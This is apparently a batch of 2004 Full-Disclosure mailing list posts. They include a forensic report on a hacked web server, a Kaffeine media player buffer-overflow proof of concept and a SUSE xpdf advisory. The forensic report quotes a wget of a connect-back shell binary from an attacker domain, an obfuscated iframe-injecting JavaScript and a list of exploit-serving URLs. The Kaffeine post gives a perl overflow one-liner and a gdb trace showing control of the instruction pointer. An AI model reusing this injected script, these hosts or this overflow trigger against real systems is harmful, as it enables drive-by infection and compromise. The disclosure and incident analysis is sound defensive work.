I've written a little widget that lets you "encrypt" a file using
another file as the "key"; I put those things in quotes because
it's a dumb little thing that does a quick-and-simple xor of the
first file against the other. I realize that this is barely
something you'd call encryption, but it might fill your needs.
It's called xork and it comes with no warranty whatsoever.
http://off.net/~mhoye/xork/
If anyone who is smarter than I am would like to suggest anything,
I'd be glad to hear it.
- Mike Hoye
--
Whenever I hear the question "Did you reboot?", I think of frat guys
in college saying "Didja fuck her?" - Scot Kurruk
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Re: [Full-Disclosure] Windows Time Synchronization - Best Practices
From: Andrew Farmer (andfarm
teknovis.com)
Date: Mon Oct 25 2004 - 14:21:53 CDT
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On 24 Oct 2004, at 18:48, Gary E. Miller wrote:
> On Fri, 22 Oct 2004, Micheal Espinola Jr wrote:
>> You can certainly have multiple time servers specified with Windows
>> Time Service (SNTP). RTM. It has the ability to failover through a
>> list.
>
> Yes you can have multiple time servers, but only one active at a time.
> With NTP your client polls a number of diverse servers. Routes can
> flap, servers can go wacko, but your time stays solid.
The canonical *NIX ntp client supports multiple active servers, if
that's what you're talking about.
No idea about Windows, though.
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=tSMI
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Re: [Full-Disclosure] xpire.info & splitinfinity.info - exploits in the wild
From: Ron DuFresne (dufresne
winternet.com)
Date: Mon Oct 25 2004 - 16:12:52 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
as pertains to compromised systems, the besty advice, unless you are doing
forensics to get a handle upon how the system was compromised or seeking
legal damages, is to just plain reinstall and make sure the system is
patched and properly firewalled prior to reconnecting it to the internet.
anything less then a reinstall is likely to permit the attacker to regain
entry to the system. Two points to mention, mysql should not be available
to the public, it should be firewalled off from public consumption, if it
can;'t be outright killed and uninstalled. php, is a problematic
scripting language, and requires someone with intense focus upon security
to lockdown. Never use the vast majority of php packages publically
available, we see 5-10 of them weekly suffering from security issues, some
popping up on a weekly or bi-weekly schedule.
3rd point, in these times with scp and sftp available, ftpd should be
turned off, uninstalled and access only granted via scp/sftp for file
transfers to a server.
Thanks,
Ron DuFresne
On Sun, 24 Oct 2004, Elia Florio wrote:
> Hi list,
> i'm doing some analysis on a Linux-Mandrake 9.0 web server
> of a person that was compromised in October.
> In this host now it's installed a special trojan that insert a
> malicious <IFRAME> tag into every served .PHP page.
>
> The host is running these services :
>
> Porta 21: 220 ProFTPD 1.2.5 Server (XXXXXXX FTP Server) [server]
> Porta 22: SSH-1.99-OpenSSH_3.4p1
> Porta 25: 220 XXXXX ESMTP 5.5.1
> Porta 110: +OK <XXXX
XXXXXX>
> Porta 3306: MySQL 3.23.52
> Porte 80/443: Server: Apache-AdvancedExtranetServer/1.3.26 (Mandrake
> Linux/6mdk)
> sxnet/1.2.4 mod_ssl/2.8.10 OpenSSL/0.9.6g PHP/4.2.3
>
> I've found inside Apache log that the hacker break-in inside the machine
> using an overflow and injecting an executable /tmp/a.out via "qmail-inject".
> These are the suspicious log lines :
>
> [Sun Oct 3 03:35:10 2004] [notice] child pid 16012 exit signal Segmentation
> fault (11)
> [Sun Oct 3 04:08:34 2004] [notice] child pid 1272 exit signal Segmentation
> fault (11)
> [Sun Oct 3 07:18:27 2004] [notice] child pid 4397 exit signal Segmentation
> fault (11)
> [Mon Oct 4 02:27:55 2004] [notice] child pid 1203 exit signal Segmentation
> fault (11)
> qmail-inject: fatal: unable to parse this line:From: I.T.I.S. S. CANNIZZARO"
> <angdimar
yahoo.it>
> [Mon Oct 4 18:43:02 2004] [notice] child pid 4248 exit signal Segmentation
> fault (11)
> [Mon Oct 4 22:58:50 2004] [notice] child pid 1190 exit signal Segmentation
> fault (11)
> [Tue Oct 5 11:58:13 2004] [notice] child pid 15689 exit signal Segmentation
> fault (11)
> qmail-inject: fatal: unable to parse this line:
> To: Drugo:Lebowski
libero.it
> sh: -c: option requires an argument
> --15:50:07-- http://xpire.info/cli.gz
> => `/tmp/a.out'
> Resolving xpire.info... fatto.
> Connecting to xpire.info[221.139.50.11]:80... connected.HTTP richiesta
> inviata, aspetto la risposta... 200 OK
> Lunghezza: 19,147 [text/plain]
>
> 0K .......... ........ 100% 9.97K
>
> 15:50:13 (9.97 KB/s) - `/tmp/a.out' salvato [19147/19147]
>
> [Fri Oct 8 20:26:52 2004] [notice] child pid 9647 exit signal Segmentation
> fault (11)
> [Sat Oct 9 01:09:51 2004] [notice] child pid 3840 exit signal Segmentation
> fault (11)
>
>
> Tryin a WGET of http://xpire.info/cli.gz , I get an ELF executable for
> Linux,
> possible containing a ConnectBack shell. Inside this ELF file you can grep
> these strings:
>
> Usage: %s host port
> pqrstuvwxyzabcde 0123456789abcdef /dev/ptmx /dev/pty /dev/tty sh -i Can't
> fork pty, bye!
> Fuck you so
> /bin/sh No connect
> Looking up %s... Failed!
> OK
> %u Connect Back
>
> I don't know if the hacker installs in this machine a rootkit, but the check
> of md5sum of
> ls, lsof, ps, netstat binaries with other ones from a clean Mandrake distr.
> was good.......
>
> The main problem is finding how the Apache Server (or PHP) was altered by
> the hacker,
> because every user that connects to this host now, could be infected by
> several HTML/IE recent exploits.
> Sniffing an HTTP packet from this host, I've found that *SOMETIMES* (in a
> random way??)
> web server inserts a special javascript between HTTP-Header and served page.
> The script is :
>
> <script language=javascript>
> eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,1
> 01,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47
> ,47,119,119,119,46,115,112,108,105,116,105,110,102,105,110,105,116,121,46,10
> 5,110,102,111,47,102,97,47,63,100,61,103,101,116,39,32,104,101,105,103,104,1
> 16,61,49,32,119,105,100,116,104,61,49,62,60,47,105,102,114,97,109,101,62,34,
> 41))
> </script>
>
> Decoding it, I see that it writes inside the page an <IFRAME> tag pointing
> to this url :
>
> <iframe src='http://www.splitinfinity.info/fa/?d=get' height=1
> width=1></iframe>
>
> If you surf to this page (don't do this if you use IE or are not patched)
> you could got infected
> by several exploits, cause it opens a lot a <iframe> pointing out to
> different domains.
>
> I would to list here these domains, cause they are a sources
> for exploit studying :
>
> Domain: www.sp2fucked.biz
> http://69.50.168.147/user28/counter.htm
>
> Found MHTMLRedir.Exploit
> http://213.159.117.133/dl/adv121.php
>
> http://195.178.160.30/js.php?cust=28
>
> http://195.178.160.30/ifr.php?cust=89
>
> http://69.50.168.147/user28/exploit.htm
>
> Found Java class exploit
> http://69.50.168.147/user28/exploit2.htm
>
> My questions are :
>
> 1) how can I remove this injected Javascript/IFRAME ? I've checked
> httpd.conf and a lot of PHP pages,
> but I don't found anything.....Is it possible that the hacker install some
> compromised Apache module ..so???
>
> 2) anyone knows before these sites (xpire.info or splitinfinity.info)?
> why they are still online and are serving trojan/exploit on surfer browser?
> xpire.info is related to "Mike Fox".....but it sounds as a fake Jonh Doe
> registration!
>
> Domain ID: D5946452-LRMS
> Domain Name: XPIRE.INFO
> Created On: 23-May-2004 19:41:15 UTC
> Last Updated On: 02-Aug-2004 08:07:20 UTC
> Expiration Date: 23-May-2005 19:41:15 UTC
> Sponsoring Registrar: Direct Information Pvt Ltd. d/b/a Directi.com
> (R159-LRMS)
> Status: ACTIVE
> Status: OK
> Registrant ID: C4752858-LRMS
> Registrant Name: Mike Fox
> Registrant Organization: n/a
> Registrant Street1: Hali-gali, 77
> Registrant City: Deli
> Registrant Postal Code: 12345
> Registrant Country: IN
> Registrant Phone: +91.226370256
> Registrant Email: c8idkvtgarwinidkvt38
yahoo.com
>
>
> 3) how can I understand if a rootkit was installed???
>
> Thanks anyone for replies
>
> EF
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
***testing, only testing, and damn good at it too!***
OK, so you're a Ph.D. Just don't touch anything.
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[Full-Disclosure] RE: Full-Disclosure digest, Vol 1 #2001 - 32 msgs
From: Daniel Sichel (daniels
Ponderosatel.com)
Date: Mon Oct 25 2004 - 17:05:55 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
>In that case, I assume you are using IPSEC with shared secrets instead
>of certificates, no?
>
You got that right. A cerificate is only as good as the server that
issued it, and the directory it's in. Which in the case of Winblows is
not good enough. Therefore my shared secrets are kept in a directory
never shared, secured to the user and admin only, and maintained by
yours truly. If I could use OpenBSD clients instead, I would, but my
boss won't by off on a pure thin client solution.
Dan S.
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Aaron Horst (anthrax101
gmail.com)
Date: Mon Oct 25 2004 - 19:43:52 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Decoding a file with repetitive XOR encryption is pretty easy. The
only way that this will be even remotely secure is if the encrypted
file is the same length or less then the length of the key file. The
danger then becomes transmitting the key file securely. This is called
a one-time pad. It is important that this key never be used again, or
it can be cracked.
Obviously, this is NOT a good idea for anything other then research
purposes, but it is a good way to learn about the dangers of improper
encryption.
AnthraX101
On Mon, 25 Oct 2004 14:41:10 -0400, Mike Hoye <mhoye
neon.polkaroo.net> wrote:
> On Mon, Oct 25, 2004 at 08:33:41AM -0700, Denis Dimick wrote:
> > Use GPG and keychain to store the key.
>
> I've written a little widget that lets you "encrypt" a file using
> another file as the "key"; I put those things in quotes because
> it's a dumb little thing that does a quick-and-simple xor of the
> first file against the other. I realize that this is barely
> something you'd call encryption, but it might fill your needs.
>
> It's called xork and it comes with no warranty whatsoever.
>
> http://off.net/~mhoye/xork/
>
> If anyone who is smarter than I am would like to suggest anything,
> I'd be glad to hear it.
>
> - Mike Hoye
>
> --
> Whenever I hear the question "Did you reboot?", I think of frat guys
> in college saying "Didja fuck her?" - Scot Kurruk
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
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[Full-Disclosure] Posting w/o checking facts
From: Harry Hoffman (hhoffman
ip-solutions.net)
Date: Mon Oct 25 2004 - 22:43:39 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hi,
Ok, I didn't think this needed to be said but why the hell are ppl
posting exploits without doing any actual testing?
WTF is up with that. Umm, ok I can say that XYZ is a problem cause it
"looks like it may be one".
NO, YOU CAN'T!!!! Or rather you can but then when everyone says your
name while trying to hold back a snicker don't seem surprised.
If you think something is a problem then test it! If you can't test it
than say so *clearly* in your post.
Making wild claims that a users' session can be hijacked or that you can
force your way into the xyz system without testing makes you sound
stupid (usually with good reason).
There have been at least three posts within the past couple of weeks
that make claims that are questionable at best and certainly don't come
with proof (or even anything that might closely resemble anything near
proof).
My $0.02 cents (and I'm sure others will share one way or another) ;-)
--Harry
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Mike Hoye (mhoye
neon.polkaroo.net)
Date: Mon Oct 25 2004 - 15:23:06 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Mon, Oct 25, 2004 at 08:33:41AM -0700, Denis Dimick wrote:
> Use GPG and keychain to store the key.
I've written a little widget that lets you "encrypt" a file using
another file as the "key"; I put those things in quotes because
it's a dumb little thing that does a quick-and-simple xor of the
first file against the other. I realize that this is barely
something you'd call encryption, but it might fill your needs.
It's called xork and it comes with no warranty whatsoever.
http://off.net/~mhoye/xork/
If anyone who is smarter than I am would like to suggest anything,
I'd be glad to hear it.
- Mike Hoye
--
"Theology is the effort to explain the unknowable in terms of the not
worth knowing." - H. L. Mencken
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Re: [security] Re: [Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Brett Campbell (brett
custom-tech.net)
Date: Mon Oct 25 2004 - 16:07:27 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Sun, Oct 24, 2004 at 06:18:41PM -0700, Andrew Farmer wrote:
<snip>
> I did a quickie analysis of the program (which is basically just
> distributed as source!).
<snip>
when did you get a hold of the tarball? they must've yanked the record
for www.fedora-redhat.com ... it can't be resolved in any way.
pretty interesting (and pathetic) anyways, nice detective work.
--
[ Brett R. Campbell ]
-> Configuration Management / Systems Administration
-> Collaborative Agent Design Research Center
-> California Polytechnic State University, SLO, CA
http://www.cadrc.calpoly.edu/frameset_content/content_about_us.html
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[Full-Disclosure] PTms04-030
From: pigrelax (pigrelax
yandex.ru)
Date: Tue Oct 26 2004 - 03:21:38 CDT
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PTms04-030 - tool for checking WebDAV XML DoS vulnerability.
More information and download:
http://www.securitylab.ru/tools/48998.html
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[Full-Disclosure] Kaffeine Media Player Conteny Type overflow
From: KF (kfinisterre
secnetops.biz)
Date: Mon Oct 25 2004 - 20:06:24 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Author did not respond and I could not exploit... enjoy.
there will be a proper advisory when I am not being so lazy
-KF
Kaffeine >=0.4.2
http://kaffeine.sourceforge.net/download.html
Tested on SuSE Linux 9.1 on source compiled from kaffeine-0.4.3b.tar.bz2
also Tested on various SuSE and Fedora RPMS
On SuSE Linux 9.1 (i586) - Kernel 2.6.5-7.108-default
http://www.suse.com/us/private/download/linuks/i386/update_for_9_1/extra.html
1558f5f4178cc1acbac0a068fb0bf43c kaffeine.rpm
ftp://packman.iu-bremen.de/testing/xine-cvs/kaffeine/
kaffeine-0.5cvs-200409180035.i686.rpm
ftp://packman.iu-bremen.de/suse/9.1/i686/
kaffeine-0.4.3b-0.pm.0.i686.rpm
http://rpm.pbone.net/index.php3/stat/17/dept/5/idg/Productivity_Multimedia_Video_Players
kaffeine-0.4.2-6.i586.rpm
Fedora Core release 2.90 (FC3 Test 1) Kernel 2.6.7-1.478custom on an i686
http://rpmseek.com/rpm-pl/kaffeine.html?hl=com&cx=0::
kaffeine-0.4.3-0.lvn.1.b.2.i386.rpm
kaffeine-0.4.3-0.lvn.1.b.1.i386.rpm
This can be triggered via any Real Audio Media - ram playlist file.
kaffeine-0.4.3b/kaffeine/playlist.cpp:
These are your file limitations.
PlayList::LoadRamPlaylist( const KURL& kurl, QListViewItem* after)
..
/* check for ram playlist */
if ( (ext == "ra") || (ext == "rm") || (ext == "ram") || (ext == "lsc") || (ext == "pl") )
{
...
The overflow occurs here.
kaffeine-0.4.3b/kaffeine/http.c:
static http_t *http_open (const char *mrl) {
http_t *this;
...
if (sscanf(this->buf, "Content-Type: %s", mime_type) == 1) {
Sample exploitation.
To cause the exploit modify /etc/mimetypes for the .ram extension make it
AAAAAAAAAAAAAAAAAAAAA.... instead of audio/x-pn-realaudio
linux:/srv/www/htdocs # echo `perl -e 'print "A" x 316 . "ZZZZABCD"'` ram > /etc/mime.types ; /etc/init.d/apache2 restart
Syntax OK
Shutting down httpd2 (waiting for all children to terminate) done
Starting httpd2 (prefork)
[root
threat root]# kaffeine http://192.168.1.207/test.pl
http: content length = 30 bytes
http: content type = 'text/plain;'
http: content length = 0 bytes
http: content type =
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZABCD'
[root
threat root]# KCrash: Application 'kaffeine' crashing...
create a file named exme.ram in your wwwroot
and create a file named test.pl with the contents:
http://host/exme.ram
Upon reading the test.pl file either via http or via double click kaffeine
will attempt to download the file exme.ram. It will check the mimetype
that the server is offering and procede to copy it into a small buffer.
This can also be exploited by directly viewing the .ram file.
exact eip hit looks like this
gdb) c
Continuing.
http: content length = 30 bytes
http: content type = 'text/plain;'
http: content length = 0 bytes
http: content type =
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZABCD'
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -150400896 (LWP 2328)]
0x080b869c in SubtitleChooser::staticMetaObject ()
(gdb) bt
#0 0x080b869c in SubtitleChooser::staticMetaObject ()
#1 0x5a5a5a5a in ?? ()
#2 0x44434241 in ?? ()
#3 0x097a1200 in ?? ()
#4 0x00000000 in ?? ()
#5 0x00000000 in ?? ()
#6 0x00000000 in ?? ()
#7 0x00000000 in ?? ()
#8 0xfef17b28 in ?? ()
#9 0x09794b70 in ?? ()
#10 0x05f04ac0 in kde_malloc_is_used () from /usr/lib/libkdecore.so.4
#11 0x00000018 in ?? ()
#12 0x05f04ac0 in kde_malloc_is_used () from /usr/lib/libkdecore.so.4
#13 0x096c3770 in ?? ()
#14 0x096c3760 in ?? ()
#15 0x05f04ac0 in kde_malloc_is_used () from /usr/lib/libkdecore.so.4
#16 0xfef17b48 in ?? ()
#17 0x05ec8dea in malloc () from /usr/lib/libkdecore.so.4
Previous frame inner to this frame (corrupt stack?)
(gdb) i f
Stack level 0, frame at 0xfef17ae0:
eip = 0x80b869c in SubtitleChooser::staticMetaObject(); saved eip
0x5a5a5a5a
called by frame at 0xfef17ae4
Arglist at 0xfef17ad8, args:
Locals at 0xfef17ad8, Previous frame's sp is 0xfef17ae0
Saved registers:
ebp at 0xfef17ad8, eip at 0xfef17adc
0xfeea9b20: 'A' <repeats 200 times>...
0xfeea9be8: 'A' <repeats 116 times>, "ZZZZABCD"
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Stephen Jimson (alf1num3rik
yahoo.com)
Date: Tue Oct 26 2004 - 04:57:59 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
<snip from the ISC's SANS>
The k-otik folks have an analysis of the bad things
that might happen if you follow the instructions in
the fake RedHat advisory that was reported in
yesterday's diary:
http://www.k-otik.com/news/FakeRedhatPatchAnalysis.txt
<snip>
the source code is also there
Steph
--- Brett Campbell <brett
custom-tech.net> wrote:
> On Sun, Oct 24, 2004 at 06:18:41PM -0700, Andrew
> Farmer wrote:
> <snip>
> > I did a quickie analysis of the program (which is
> basically just
> > distributed as source!).
> <snip>
>
> when did you get a hold of the tarball? they must've
> yanked the record
> for www.fedora-redhat.com ... it can't be resolved
> in any way.
>
> pretty interesting (and pathetic) anyways, nice
> detective work.
>
> --
> [ Brett R. Campbell ]
> -> Configuration Management / Systems
> Administration
> -> Collaborative Agent Design Research Center
> -> California Polytechnic State University, SLO, CA
>
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] SUSE Security Announcement: xpdf, gpdf, kpdf, pdftohtml, cups (SUSE-SA:2004:039)
From: Thomas Biege (thomas
suse.de)
Date: Tue Oct 26 2004 - 05:46:03 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
______________________________________________________________________________
SUSE Security Announcement
Package: xpdf, gpdf, kdegraphics3-pdf, pdftohtml, cups
Announcement-ID: SUSE-SA:2004:039
Date: Tuesday, Oct 26th 2004 10:30 MEST
Affected products: 8.1, 8.2, 9.0, 9.1, 9.2
SUSE Linux Enterprise Server 8, 9
SUSE Linux Desktop 1.0
Vulnerability Type: remote system compromise
Severity (1-10): 5
SUSE default package: yes
Cross References: CAN-2004-0888
CAN-2004-0889
Content of this advisory:
1) security vulnerability resolved:
- integer overflows
- arithmetic errors
problem description
2) solution/workaround
3) special instructions and notes
4) package location and checksums
5) pending vulnerabilities, solutions, workarounds:
- freeradius denial of service problems
- mpg123
- squid
6) standard appendix (further information)
______________________________________________________________________________
1) problem description, brief discussion
Xpdf is a widely used fast PDF file viewer. Various other PDF viewer
and PDF conversion tools use xpdf code to accomplish their tasks.
Chris Evans found several integer overflows and arithmetic errors.
Additionally Sebastian Krahmer from the SuSE Security-Team found similar
bugs in xpdf 3.
These bugs can be exploited by tricking an user to open a malformated PDF
file. As a result the PDF viewer can be crashed or may be even code can be
executed.
2) solution/workaround
Due to the wide usage of xpdf-based code we do not recommend switching to
another PDF viewer as a workaround.
You have to install the updates.
3) special instructions and notes
Please restart all running instances of xpdf, gpdf, kpdf, pdftohtml, cups
after updating successfully.
4) package location and checksums
Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.
Cups packages and all 9.2 packages will be available later.
x86 Platform:
SUSE Linux 9.1:
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/pdftohtml-0.36-112.3.i586.rpm
f17866987c9099ed8b0395d184adfffc
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/xpdf-3.00-64.21.i586.rpm
d648d6e96013cc339dd424041f8bc973
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/gpdf-0.112.1-26.3.i586.rpm
16864a7b7652a3183f9f8cac034cf70e
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kdegraphics3-pdf-3.2.1-67.6.i586.rpm
8f09aa7927d9cdcfc52ab06e520b2441
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/pdftohtml-0.36-112.3.i586.patch.rpm
2d3da1271fc9e072186fca6aa1de8c5c
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/xpdf-3.00-64.21.i586.patch.rpm
093d0aaa7f4fbe24afc722057cbe334e
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/gpdf-0.112.1-26.3.i586.patch.rpm
3af8141ddfbdf558afdf4f2f8f94a9f8
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kdegraphics3-pdf-3.2.1-67.6.i586.patch.rpm
0d765c907e89a91186e03d8c8de87857
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/pdftohtml-0.36-112.3.src.rpm
d4892578f2d84c1bdbc36b0df9341607
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/xpdf-3.00-64.21.src.rpm
d4c06775143e5e6fec7bc544d248daee
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/gpdf-0.112.1-26.3.src.rpm
cfda8ff6f352e1bc4f827a3118521b25
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kdegraphics3-3.2.1-67.6.src.rpm
bb4d96dd72f0ee94315afd7b4c81e16b
SUSE Linux 9.0:
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/pdftohtml-0.36-118.i586.rpm
dc822cef09e27e169acd94cda1fb622a
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/xpdf-2.02pl1-141.i586.rpm
c99912bc5656546b028a8c4fe0473a75
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/pdftohtml-0.36-118.i586.patch.rpm
58b8a44ae02482d19c73959bfd85e85e
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/xpdf-2.02pl1-141.i586.patch.rpm
8055fbed4ac1e664706701e3b7d3e1bc
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/pdftohtml-0.36-118.src.rpm
35e37ded2db7d772d854748e606f42d0
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/xpdf-2.02pl1-141.src.rpm
d42fe2976009b8ab44d6c166caf0840c
SUSE Linux 8.2:
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/xpdf-2.01-137.i586.rpm
e198f2fc43f1f455676a9dc1ee42af5e
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/xpdf-2.01-137.i586.patch.rpm
acb5181c10c7b365cca71ae307b11553
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/xpdf-2.01-137.src.rpm
aada3bee6ac1517f50468777c49d8d91
SUSE Linux 8.1:
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/xpdf-1.01-255.i586.rpm
c0d7beba46d02e1090e9b6c7795a10c3
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/xpdf-1.01-255.i586.patch.rpm
ac395b4518a4c83d2af7805f35626a22
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/xpdf-1.01-255.src.rpm
5ec84289ef8ca520e78cc80360d05665
x86-64 Platform:
SUSE Linux 9.1:
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/pdftohtml-0.36-112.3.x86_64.rpm
2b0b08249164043db0e3a5b080b03f1d
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/xpdf-3.00-64.21.x86_64.rpm
c10bbbb43b8af6bc4da4922ce2afaede
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/gpdf-0.112.1-26.3.x86_64.rpm
7021ae8a2e9bc809240c8e953ef74fab
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kdegraphics3-pdf-3.2.1-67.6.x86_64.rpm
94200c51e06e9f31bc13139ea66c1626
patch rpm(s):
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/pdftohtml-0.36-112.3.x86_64.patch.rpm
e0d057eeb94492d62be6794dfde196c9
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/xpdf-3.00-64.21.x86_64.patch.rpm
ae9382a68c4d424cdee65324208f9e84
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/gpdf-0.112.1-26.3.x86_64.patch.rpm
33a0a7fd7b0758175f465f8f1fa6ce36
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kdegraphics3-pdf-3.2.1-67.6.x86_64.patch.rpm
c4629d75d822cf47b243cf34bd8cbacb
source rpm(s):
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/pdftohtml-0.36-112.3.src.rpm
f2acee920bd51b347e072463edc8f6bc
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/xpdf-3.00-64.21.src.rpm
5b5c9c5d9aa1ddff06f56f83cf0365d9
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/gpdf-0.112.1-26.3.src.rpm
2e2b8e6903b724462f30c07db1e76755
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kdegraphics3-3.2.1-67.6.src.rpm
e6988ea49a337ebd49f42d15afdeb188
SUSE Linux 9.0:
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/pdftohtml-0.36-118.x86_64.rpm
942676168c21ac7253637dd3312e35d1
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/xpdf-2.02pl1-141.x86_64.rpm
7a5076aec7aae7e6e05bf8d0f6b5e523
patch rpm(s):
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/pdftohtml-0.36-118.x86_64.patch.rpm
b14da314a640e3afd3e72f417937c461
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/xpdf-2.02pl1-141.x86_64.patch.rpm
fd4047d3c5392d63040e576effb32df5
source rpm(s):
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/pdftohtml-0.36-118.src.rpm
5300f04533ee5b490e1f7de0a29fd705
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/xpdf-2.02pl1-141.src.rpm
dd9b695199beaea8122037705eb1a581
______________________________________________________________________________
5) pending vulnerabilities in SUSE Distributions and Workarounds:
- freeradius
Several bugs that can be abused to remotely crash freeradius have
been discovered (CAN-2004-0938, CAN-2004-0960, CAN-2004-0961).
New packages will be available soon.
- mpg123
A buffer overflow in mpg123 has been discovered. New packages will
be available soon.
- squid
A bug in the ASN.1 parser of the SNMP module has been fixed which
would have allowed an attacker to crash squid (CAN-2004-0918).
Updates will be available soon.
______________________________________________________________________________
6) standard appendix: authenticity verification, additional information
- Package authenticity verification:
SUSE update packages are available on many mirror ftp servers all over
the world. While this service is being considered valuable and important
to the free and open source software community, many users wish to be
sure about the origin of the package and its content before installing
the package. There are two verification methods that can be used
independently from each other to prove the authenticity of a downloaded
file or rpm package:
1) md5sums as provided in the (cryptographically signed) announcement.
2) using the internal gpg signatures of the rpm package.
1) execute the command
md5sum <name-of-the-file.rpm>
after you downloaded the file from a SUSE ftp server or its mirrors.
Then, compare the resulting md5sum with the one that is listed in the
announcement. Since the announcement containing the checksums is
cryptographically signed (usually using the key security
suse.de),
the checksums show proof of the authenticity of the package.
We disrecommend to subscribe to security lists which cause the
email message containing the announcement to be modified so that
the signature does not match after transport through the mailing
list software.
Downsides: You must be able to verify the authenticity of the
announcement in the first place. If RPM packages are being rebuilt
